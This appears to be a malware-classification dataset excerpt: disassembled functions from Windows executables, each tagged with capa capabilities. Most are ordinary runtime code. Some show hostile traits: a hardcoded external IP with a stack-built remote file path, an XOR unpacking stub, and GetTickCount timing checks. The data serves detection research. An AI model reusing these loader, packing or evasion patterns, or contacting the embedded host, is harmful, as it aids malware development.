joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47cbdb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push 0x4cad52
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x47cc33
movzx edx, word [ebp + 8]
mov dword [ebp - 8], edx
lea ecx, [ebp - 8]
push ecx
push dword [ebp + 0xc]
push 0
push 0
push 0x4cad73
push dword [ebp - 4]
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x47cc29
mov bx, 0x2a04
push dword [ebp - 4]
call sub.advapi32.dll_RegCloseKey_1
jmp 0x47cc37
mov bx, 0x2a04
mov eax, ebx
pop ebx
pop ecx
pop ecx
pop ebp
ret 8

Function at 0x4a9420
Capabilities:
Get memory capacity

Disassembly:
add esp, 0xffffffe0
push esp
call sub.kernel32.dll_GlobalMemoryStatus
mov eax, dword [esp + 0x14]
shr eax, 1
add eax, dword [esp + 0xc]
add esp, 0x20
ret

Function at 0x4ad994
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef0
mov ebx, eax
push esp
push 0x20019
push 0
push 0x4ada60
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4ada56
mov dword [esp + 4], 0x105
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x4ada84
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4ada4d
mov eax, ebx
lea edx, [esp + 8]
mov ecx, 0x105
call fcn.0040432c
mov edx, dword [ebx]
mov eax, 0x4ada94
call fcn.004046c0
test eax, eax
jle 0x4ada21
push ebx
mov edx, dword [ebx]
mov eax, 0x4ada94
call fcn.004046c0
mov ecx, eax
dec ecx
mov eax, dword [ebx]
mov edx, 1
call fcn.004045dc
mov eax, dword [ebx]
call fcn.0040437c
cmp eax, 2
jle 0x4ada4d
mov eax, dword [ebx]
call fcn.0040437c
mov edx, eax
mov eax, dword [ebx]
call fcn.0040d330
test al, al
jne 0x4ada4d
mov eax, ebx
mov edx, 0x4adaa0
call fcn.00404384
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
add esp, 0x110
pop ebx
ret
Function at 0x401a5d
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
sub esp, 0x40
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
mov edx, eax
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
movzx eax, ax
add eax, edx
add eax, 0x18
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
jmp 0x401bf3
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
test eax, eax
jne 0x401b3b
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jle 0x401b36
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x1c]
mov edx, dword [ebp + 0x14]
mov ecx, dword [edx + 0x34]
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebx + 0xc]
mov ebx, dword [ebp - 0x14]
add ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401b00
mov eax, 0
jmp 0x401c0d
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], edx
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memset
jmp 0x401beb
jmp 0x401beb
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0x14]
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
add eax, edx
mov dword [esp + 4], eax
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call fcn.00401a30
test eax, eax
jne 0x401b66
mov eax, 0
jmp 0x401c0d
mov eax, dword [ebp + 0x14]
mov eax, dword [eax + 0x1c]
mov edx, dword [ebp + 0x14]
mov ecx, dword [edx + 0x34]
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0x10]
mov ebx, dword [ebp - 0x10]
mov esi, dword [ebx + 0xc]
mov ebx, dword [ebp - 0x14]
add ebx, esi
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x401bb0
mov eax, 0
jmp 0x401c0d
mov eax, dword [ebp - 0x10]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x14]
add eax, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0x10]
mov edx, dword [ebp - 0x10]
mov ecx, dword [edx + 0x14]
mov edx, dword [ebp + 8]
add edx, ecx
mov dword [esp + 8], eax
mov dword [esp + 4], edx
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov dword [eax + 8], edx
add dword [ebp - 0xc], 1
add dword [ebp - 0x10], 0x28
mov eax, dword [ebp + 0x14]
mov eax, dword [eax]
movzx eax, word [eax + 6]
movzx eax, ax
cmp eax, dword [ebp - 0xc]
jg 0x401a95
mov eax, 1
add esp, 0x40
pop ebx
pop esi
pop ebp
ret
Function at 0x40c5e0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.004168c0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.004168c0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x40c640
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x447064]
test esi, esi
jle 0x40c760
mov edi, dword [0x447068]
xor ebx, ebx
lea edx, [edi + 0xc]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x40c674
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x40c6f9
add ebx, 1
add edx, 0x14
cmp ebx, esi
jne 0x40c660
mov dword [esp], eax
mov ebx, eax
call fcn.0040cfd0
mov edi, eax
test eax, eax
je 0x40c787
mov eax, dword [0x447068]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.0040d0e0
mov edx, dword [0x447068]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40c767
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x40c6f2
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x40c700
add dword [0x447064], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x447068]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40c6f2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.0040c5e0
lea esi, [esi]
lea edi, [edi]
xor esi, esi
jmp 0x40c67e
mov eax, dword [0x447068]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.0040c5e0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.0040c5e0
mov esi, esi
lea edi, [edi]
Function at 0x40cc10
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x447080
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x447078]
sub esp, 4
test ebx, ebx
je 0x40cc65
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x40cc5e
test esi, esi
je 0x40cc5e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40cc40
mov dword [esp], 0x447080
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x417260
Capabilities:
Allocate thread local storage

Disassembly:
sub esp, 0xc
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x42f09c], eax
cmp eax, 0xffffffff
je 0x42e2a8
add esp, 0xc
ret

Function at 0x417770
Capabilities:
Print debug messages

Disassembly:
test eax, eax
je 0x4177a0
push edi
push esi
push ebx
mov ebx, eax
add esp, 0xffffff80
mov dword [esp], eax
call fcn.0041a8c0
cmp eax, 1
je 0x4177a1
mov dword [ebx], 0xffffffff
sub esp, 0xffffff80
pop ebx
pop esi
pop edi
ret
ret
lea ebx, [esp + 0x15]
xor eax, eax
mov esi, str.Error_cleaning_up_spin_keys_for_thread
mov ecx, 0xa
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
lea edi, [esp + 0x3d]
mov ecx, 0x43
rep stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea edx, [esp + 0x3c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.msvcrt.dll__ultoa]
cmp byte [esp + 0x3c], 0
mov eax, 0x27
jne 0x4177f5
jmp 0x417803
cmp eax, 0x6a
je 0x41780d
add eax, 1
cmp byte [ebx + eax], 0
jne 0x4177f0
cmp eax, 0x6a
je 0x41780d
mov byte [esp + eax + 0x15], 0xa
mov byte [esp + eax + 0x16], 0
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push eax
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x4178b0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
cmp dword [0x447aec], 1
je 0x4178c5
call fcn.00417820
mov eax, dword [0x42f09c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov esi, eax
test eax, eax
je 0x4178f0
add esp, 0x2c
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
call fcn.004176c0
mov ebx, eax
mov eax, dword [entry3]
test eax, eax
je 0x4178dc
test ebx, ebx
je 0x4178dc
mov dword [ebx + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebx + 0x3c], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebx + 0x1c], 0xffffffff
mov dword [ebx + 0x18], eax
sub esp, 0x10
lea eax, [ebx + 0x38]
call fcn.00417770
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebx + 0x64], 0
mov dword [ebx + 0x14], 0
call esi
mov ebp, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov edi, eax
call esi
lea edx, [ebx + 0x14]
mov dword [esp + 8], ebp
mov dword [esp + 0x18], 2
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 4], edi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
sub esp, 0x1c
test eax, eax
je 0x42e2ad
mov eax, dword [ebx + 0x14]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov dword [ebx + 0x68], 0
mov dword [ebx + 0x6c], eax
movzx eax, byte [ebx + 0x20]
sub esp, 4
and eax, 0xffffffcf
or eax, 0x10
mov byte [ebx + 0x20], al
mov eax, dword [0x42f09c]
mov dword [esp + 4], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test eax, eax
je 0x42e2ad
add esp, 0x2c
mov esi, ebx
mov eax, esi
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x417b30
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x10
mov eax, dword [esp + 0x24]
test eax, eax
jne 0x417b60
mov ecx, dword [esp + 0x28]
test ecx, ecx
je 0x417c10
add esp, 0x10
mov eax, 1
pop ebx
pop esi
pop edi
ret 0xc
cmp eax, 1
je 0x417c40
cmp eax, 3
jne 0x417b4a
mov eax, dword [0x42f09c]
cmp eax, 0xffffffff
je 0x417b4a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
sub esp, 4
mov ebx, eax
test eax, eax
je 0x417b4a
test byte [eax + 0x20], 0x30
je 0x417c70
mov eax, dword [eax + 0xb4]
test eax, eax
je 0x417ba3
call fcn.00417a40
mov eax, dword [ebx + 0x14]
test eax, eax
je 0x417bd5
mov dword [esp], eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebx + 0x18]
sub esp, 4
test eax, eax
je 0x417bc7
mov dword [esp], eax
call esi
sub esp, 4
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x14], 0
lea eax, [ebx + 0x1c]
mov dword [esp], eax
call fcn.00416fe0
lea eax, [ebx + 0x38]
call fcn.00417770
mov eax, ebx
call fcn.00417450
mov eax, dword [0x42f09c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
jmp 0x417b4a
mov eax, dword [0x447ac8]
test eax, eax
je 0x417b4a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_RemoveVectoredExceptionHandler]
mov dword [0x447ac8], 0
sub esp, 4
jmp 0x417b4a
mov dword [esp + 4], 0x417190
mov dword [esp], 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
sub esp, 8
mov dword [0x447ac8], eax
mov eax, 1
add esp, 0x10
pop ebx
pop esi
pop edi
ret 0xc
mov edx, dword [ebx + 0x68]
mov eax, dword [eax + 0x18]
test edx, edx
jne 0x417ce2
test eax, eax
je 0x417c8a
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov eax, dword [ebx + 0xb4]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x68], 1
test eax, eax
je 0x417ca7
call fcn.00417a40
lea edi, [ebx + 0x1c]
lea esi, [ebx + 0x38]
test byte [ebx + 0x24], 4
je 0x417d11
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x417ccc
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebx + 0x14], 0
mov dword [esp], edi
call fcn.00416fe0
mov eax, esi
jmp 0x417be3
test eax, eax
je 0x417cf2
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea eax, [ebx + 0x1c]
mov dword [ebx + 0x18], 0
mov dword [esp], eax
call fcn.00416fe0
lea eax, [ebx + 0x38]
call fcn.00417770
jmp 0x417b4a
mov dword [esp], edi
call fcn.00416fe0
mov eax, esi
call fcn.00417770
jmp 0x417b4a
Function at 0x4186a0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov esi, dword [esp + 0x20]
call fcn.004178b0
mov ebx, eax
mov dword [eax + 4], esi
mov eax, dword [eax + 0xb4]
test eax, eax
je 0x4186c2
call fcn.00417a40
test byte [ebx + 0x20], 0x30
jne 0x4186db
add ebx, 0x70
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_longjmp
mov eax, dword [0x42f09c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
push edx
test eax, eax
je 0x41871e
cmp dword [ebx + 0x14], 0
mov eax, dword [eax + 0x18]
je 0x418762
mov esi, dword [ebx + 4]
mov dword [ebx + 0x68], 1
test eax, eax
je 0x418711
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov dword [ebx + 0x18], 0
test byte [ebx + 0x24], 4
jne 0x418727
mov dword [esp], esi
call dword [sym.imp.msvcrt.dll__endthreadex]
mov eax, dword [ebx + 0x14]
mov dword [ebx], 0xdeadbeef
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
mov dword [ebx + 0x14], 0
mov eax, ebx
call fcn.00417450
mov eax, dword [0x42f09c]
mov dword [esp + 4], 0
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
push eax
push eax
jmp 0x41871e
mov dword [ebx], 0xdeadbeef
test eax, eax
je 0x418776
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
mov dword [ebx + 0x18], 0
mov esi, dword [ebx + 4]
jmp 0x418741
Function at 0x41daf0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ecx, 0x1a
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x80]
mov esi, 0x430199
push ebx
sub esp, 0x9c
mov eax, dword [str.not_enough_space_for_format_expansion__Please_submit_full_bug_report_at_https:__gcc.gnu.org_bugs__:_n]
mov dword [ebp - 0x81], eax
mov eax, dword [0x4301fd]
mov dword [ebp - 0x1c], eax
rep movsd dword es:[edi], dword [esi]
mov edx, dword [ebp + 0xc]
sub edx, dword [ebp + 8]
lea eax, [edx + 0x84]
and eax, 0xfffffff0
call fcn.0040d240
mov ecx, 0x1a
sub esp, eax
lea esi, [ebp - 0x81]
mov dword [ebp - 0x8c], edx
lea ebx, [esp + 0x1b]
and ebx, 0xfffffff0
mov edi, ebx
lea eax, [ebx + 0x68]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp + 8]
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 4], ecx
call sub.msvcrt.dll_memcpy
mov edx, dword [ebp - 0x8c]
mov byte [ebx + edx + 0x68], 0
mov dword [esp], ebx
call fcn.0042da90
nop
nop
nop
nop
nop
nop
nop
push edi
push esi
push ebx
sub esp, 0x20
cmp byte [0x42f118], 0
jne 0x41dc16
mov byte [0x42f118], 1
call fcn.0042cdd0
test eax, eax
je 0x41dbe4
mov ebx, dword [eax + 4]
xor eax, eax
cmp byte [ebx], 0x2a
mov dword [esp + 8], 0
sete al
mov dword [esp + 4], 0
add ebx, eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0xffffffff
mov dword [esp + 0xc], eax
mov dword [esp], ebx
call fcn.0040c200
mov dword [esp], 2
mov esi, dword [fcn.004168c0]
mov edi, eax
call esi
mov dword [esp + 8], 0x30
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_after_throwing_an_instance_of_
call sub.msvcrt.dll_fwrite
mov edx, dword [esp + 0x1c]
mov dword [esp], 2
test edx, edx
je 0x41dbd4
call esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
mov dword [esp], 2
call esi
mov dword [esp + 8], 2
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], 0x430159
call sub.msvcrt.dll_fwrite
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x42d980
jmp 0x42d978
call esi
mov dword [esp], edi
mov dword [esp + 4], eax
call sub.msvcrt.dll_fputs
jmp 0x41db9a
mov dword [esp], 2
call dword [0x42f078]
mov dword [esp + 8], 0x2d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_without_an_active_exception_n
call sub.msvcrt.dll_fwrite
jmp 0x42d973
mov dword [esp], 2
call dword [0x42f078]
mov dword [esp + 8], 0x1d
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.terminate_called_recursively_n
call sub.msvcrt.dll_fwrite
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x42d720
Capabilities:
Contain obfuscated stackstrings

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x40
call fcn.0040c420
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [esp], 0xa
call ebx
mov dword [ebp - 0x2c], str.155.94.233.203
sub esp, 4
mov dword [ebp - 0x28], str.abc123
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
mov dword [ebp - 0x21], 0x6173642f
sub esp, 4
mov dword [ebp - 0x1d], 0x38313166
mov dword [ebp - 0x19], 0x3837312e
mov dword [ebp - 0x15], 0x3034322e
mov dword [ebp - 0x11], 0x3332322e
mov dword [ebp - 0xd], 0x7478742e
mov byte [ebp - 9], 0
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
sub esp, 4
mov dword [esp], 1
call ebx
lea eax, [ebp - 0x21]
lea ecx, [ebp - 0x2c]
sub esp, 4
mov dword [esp], eax
call fcn.00401910
sub esp, 4
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408e84
nop
mov ecx, 0x28ad6284
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
mov eax, section..data
nop
mov ebx, 0x42e1d0
nop
mov ecx, 0x1be24323
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x408c8c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov edi, edx
mov esi, eax
mov ebp, dword [esi + 0x10]
mov eax, esi
call fcn.0040914c
mov byte [esp], al
cmp byte [esp], 0
jne 0x408e15
test edi, edi
je 0x408e15
mov byte [esp + 1], 0
test ebp, ebp
jle 0x408d55
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp + 0xc], eax
test ebp, ebp
jle 0x408d30
cmp edi, 0xffffffff
je 0x408cf1
call sub.kernel32.dll_GetTickCount
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408cf1
mov byte [esp], 0
jmp 0x408e15
cmp dword [esi], 1
jg 0x408d30
cmp dword [esi], 0
jne 0x408d22
xor eax, eax
mov edx, 1
lock cmpxchg dword [esi], edx
test eax, eax
jne 0x408d22
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
mov byte [esp], 1
jmp 0x408e15
lea eax, [esp + 0xc]
call fcn.00408924
dec ebp
test ebp, ebp
jg 0x408cd6
cmp edi, 0xffffffff
je 0x408d55
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
ja 0x408d53
mov byte [esp], 0
jmp 0x408e15
sub edi, eax
mov ebx, dword [esi]
test ebx, ebx
je 0x408c9a
lea edx, [ebx + 2]
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408d55
call sub.kernel32.dll_GetTickCount
mov dword [esp + 4], eax
mov eax, esi
call fcn.00408e90
mov edx, eax
mov ebx, dword [0x5048fc]
mov ecx, edi
xor eax, eax
call dword [ebx + 0x10]
test eax, eax
sete byte [esp]
cmp edi, 0xffffffff
je 0x408db9
call sub.kernel32.dll_GetTickCount
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
cmp edi, eax
jbe 0x408db7
mov eax, dword [esp + 8]
sub eax, dword [esp + 4]
sub edi, eax
jmp 0x408db9
xor edi, edi
cmp byte [esp], 0
je 0x408ddf
mov ebx, dword [esi]
test bl, 1
jne 0x408df5
mov edx, ebx
sub edx, 2
or edx, 1
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408dbf
mov byte [esp + 1], 1
jmp 0x408df5
mov ebx, dword [esi]
mov edx, ebx
sub edx, 2
mov eax, ebx
lock cmpxchg dword [esi], edx
cmp ebx, eax
jne 0x408ddf
mov byte [esp + 1], 1
cmp byte [esp + 1], 0
je 0x408d6c
cmp byte [esp], 0
je 0x408e15
call sub.kernel32.dll_GetCurrentThreadId
mov dword [esi + 8], eax
mov dword [esi + 4], 1
movzx eax, byte [esp]
add esp, 0x10
pop ebp
pop edi
pop esi
pop ebx
ret